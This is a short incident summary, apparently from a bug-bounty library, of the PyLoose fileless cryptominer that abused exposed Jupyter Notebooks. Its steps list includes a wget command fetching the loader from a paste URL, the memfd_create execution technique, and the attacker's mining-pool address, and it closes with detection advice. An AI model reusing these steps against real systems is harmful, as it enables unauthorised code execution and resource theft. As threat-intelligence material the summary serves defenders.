# PyLoose: Python-based fileless malware targets cloud workloads to deliver cryptominer

Exposed Jupyter Notebook allowed system command execution; attacker ran a 9-line Python script that memfd-loaded an XMRig miner in memory, cryptomining on ~200 cloud workloads.

- Payout: Real-world hack
- Severity: high
- Program: Jupyter Notebook
- Credited: Wiz Research
- Disclosed: 2023-07-11
- Write-up quality: 6/10
- Original: https://www.wiz.io/blog/pyloose-first-python-based-fileless-attack-on-cloud-workloads
- Library page: https://bugbountylibrary.com/r/blog%3Awiz-io-blog-pyloose-first-python-based-fileless-attack-on-cloud-workloads
- Tags: domain:cloud impact:dos impact:internal-access kind:incident platform:threat-intel sev:high tech:linux tech:python technique:source-review vuln:misconfiguration vuln:rce

**Target:** Publicly exposed Jupyter Notebook service on cloud workload
**Root cause:** Jupyter Notebook service was publicly accessible and failed to restrict execution of system commands via Python modules like os and subprocess, giving unauthenticated code execution.
**Steps:**
1. Reach publicly exposed Jupyter Notebook and execute Python via os/subprocess.
2. Fetch loader without disk write: `wget -O- https://paste.c-net.org/chattingloosened` or Python HTTPS GET.
3. Script base64-decodes and zlib-decompresses embedded XMRig ELF.
4. Invoke syscall 319 `memfd_create(name="", flags=MFD_CLOSEXEC)` via libc syscall to get fd.
5. Write decoded miner into memfd buffer.
6. Exec `/proc/self/fd/{fd}` with argv[0]=`smd` and empty env to run miner from memory.
7. Miner connects to `51.75.64.249:20128` / MoneroOcean pool and mines to attacker wallet.
**How found:** Wiz Runtime Sensor flagged fileless execution and cryptomining pool connections at runtime; analysts traced the loader URL, decompiled the 9-line Python script, and identified memfd syscall usage and embedded XMRig config.
**Exploitation:** Attacker scanned for exposed Jupyter Notebooks, used the notebook's Python execution to download a paste-hosted loader into memory, which memfd-executed an embedded XMRig v6.19.3 configured for MoneroOcean, mining Monero to attacker wallet across ~200 instances without touching disk.
**Insight:** Exposed Jupyter Notebooks are effectively unauthenticated RCE; hunt for `/proc/{pid}/exe` symlinks starting with `/memfd:` and outbound connections to mining pools to catch diskless miners.